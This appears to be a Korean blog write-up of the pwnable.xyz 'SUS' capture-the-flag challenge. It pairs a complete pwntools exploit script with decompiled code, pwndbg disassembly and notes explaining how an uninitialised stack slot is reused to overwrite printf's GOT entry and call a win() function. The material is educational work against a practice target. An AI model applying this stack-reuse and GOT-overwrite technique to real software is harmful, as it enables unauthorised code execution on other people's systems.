from pwn import *
p = remote("svc.pwnable.xyz", 30011)
# p = process("./challenge")
e = ELF("./challenge")
p.sendafter("> ", "1")
p.sendafter("Name: ", "minseo")
p.sendafter("Age: ", "1234")
p.sendafter("> ", "3")
p.sendafter("Name: ", "minseo")
p.sendafter("Age: ", b'A'*0x10+p64(e.got['printf'])) # s에 printf_got 대입
p.sendafter("> ", "1")
p.sendafter("Name: ", p64(e.symbols['win']))
# 바로 다음문장 printf("Age: ")에서 win() 함수 실행됨
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
int int32; // 4byte 자료형
setup(argc, argv, envp);
puts("SUS - Single User Storage.");
while ( 1 )
{
while ( 1 )
{
// puts("Menu:\n1. Create user.\n2. Print user.\n3. Edit user.\n4. Exit.");
print_menu();
printf("> ");
// 32자리 정수까지 입력 가능
int32 = read_int32();
if ( int32 != 1 )
break;
create_user();
}
if ( int32 <= 1 )
break;
if ( int32 == 2 )
{
print_user();
}
else if ( int32 == 3 )
{
edit_usr();
}
else
{
LABEL_13:
puts("Invalid");
}
}
if ( int32 )
goto LABEL_13;
return 0;
}
int read_int32()
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+28h] [rbp-8h]
v2 = __readfsqword(0x28u);
read(0, buf, 0x20uLL);
return atoi(buf);
}
unsigned __int64 create_user()
{
void *s; // [rsp+0h] [rbp-1060h] BYREF
unsigned __int64 v2; // [rsp+1058h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( !s )
{
s = malloc(0x20uLL);
memset(s, 0, 0x20uLL);
}
printf("Name: ");
read(0, s, 0x20uLL);
printf("Age: ");
// age 입력값 저장 안하는데?? -> 어셈블리 확인하니 mov DWORD PTR [rbp-0x1018],eax 해서 결과 저장하네
// s+0x48 위치에 4바이트만큼 저장한다
read_int32();
// 전역변수 cur에 s 주소 저장 (malloc chunk에 대한 이중포인터)
cur = (__int64)&s;
return __readfsqword(0x28u) ^ v2;
}
int print_user()
{
int result;
result = cur;
if ( cur )
{
printf("User: %s\n", *(const char **)cur);
// &s+72 주소에 위치한 4byte 정수를 읽어옴
return printf("Age: %d\n", *(unsigned int *)(cur + 72));
}
return result;
}
unsigned __int64 edit_usr()
{
__int64 v0; // rbx
unsigned __int64 v2; // [rsp+1018h] [rbp-18h]
v2 = __readfsqword(0x28u);
if ( cur )
{
printf("Name: ");
read(0, *(void **)cur, 0x20uLL);
printf("Age: ");
v0 = cur;
*(_DWORD *)(v0 + 72) = read_int32();
}
return __readfsqword(0x28u) ^ v2;
}
int win()
{
return system("cat flag");
}
Partial RELRO Canary found NX enabled No PIE
- Partial RELRO: got overwrite?
- 마땅한 취약점이 안보이네. main에서 호출한 서브루틴의 rbp가 모두 동일하다 정도? (스택프레임 재사용?)
- create_user()과 edit_usr()의 스택 프레임 크기가 심상치않다...
- edit_usr()과 print_user() 내부에선 레지스터로 값을 조작해서 딱히 건드릴 수 있는 지역변수 x
- create_user()에서 s=[rbp-0x1060], age=[rbp-0x1018], rbp=rsp+0x1060
pwndbg> disas create_user
Dump of assembler code for function create_user:
0x00000000004009be <+0>: push rbp
0x00000000004009bf <+1>: mov rbp,rsp
0x00000000004009c2 <+4>: sub rsp,0x1060
- edit_user()에서 rbp=rsp+0x1028+0x8=rsp+0x1030, edit_user()에서 서브루틴 호출 시 스택프레임이 create_user()의 것과 일부 겹침 - 지역변수 있는 read_int32() 이용
pwndbg> disas edit_usr
Dump of assembler code for function edit_usr:
0x0000000000400ac9 <+0>: push rbp
0x0000000000400aca <+1>: mov rbp,rsp
0x0000000000400acd <+4>: push rbx
0x0000000000400ace <+5>: sub rsp,0x1028
- 스택상태: [edit_user() stack frame - 0x1030] | RET | SFP | Canary | buf[0x28] |
pwndbg> disas read_int32
Dump of assembler code for function read_int32:
0x000000000040096f <+0>: push rbp
0x0000000000400970 <+1>: mov rbp,rsp
0x0000000000400973 <+4>: sub rsp,0x30
- create_user()의 8Byte s=[rbp-0x1060]은 edit_usr()의 read_int32()의 buf[0x10~0x17]에 해당한다
- s의 값을 조작할 수만 있다면 원하는 위치에 원하는 값을 쓸 수 있다
<Scenario>
1. create_user() 해서 스택 상에 chunk 주소를 위치시킨다
2. edit_usr() 해서 buf[16~23]에 printf_got 주소를 little endian으로 입력한다
3. create_user() 해서 printf_got 주소에 win() 주소를 little endian으로 입력한다.
3-1. cur은 s를 가리키는 포인터이므로 read(0,s,0x20) == read(0, *(void **)cur, 0x20)
따라서 edit_user() 실행해서 win() 주소 overwrite 해도 됨
4. 바로 다음 문장 printf("Age: ")에서 win 함수 실행된다~~
cf) printf_got 아니라 exit_got 등 다른 GOT overwrite도 가능
cf) 특정 함수의 서브루틴들은 스택프레임의 ebp 위치가 동일하다 = 스택 재사용 발생할 수 있다!!
'security > 포너블 - pwnable.xyz' 카테고리의 다른 글
pwnable.xyz - strcat (0) | 2023.02.12 |
---|---|
pwnable.xyz - J-U-M-P (0) | 2023.02.12 |
pwnable.xyz - fspoo (0) | 2023.02.09 |
pwnable.xyz - l33t-ness (0) | 2023.02.07 |
pwnable.xyz - Jmp table (0) | 2023.02.05 |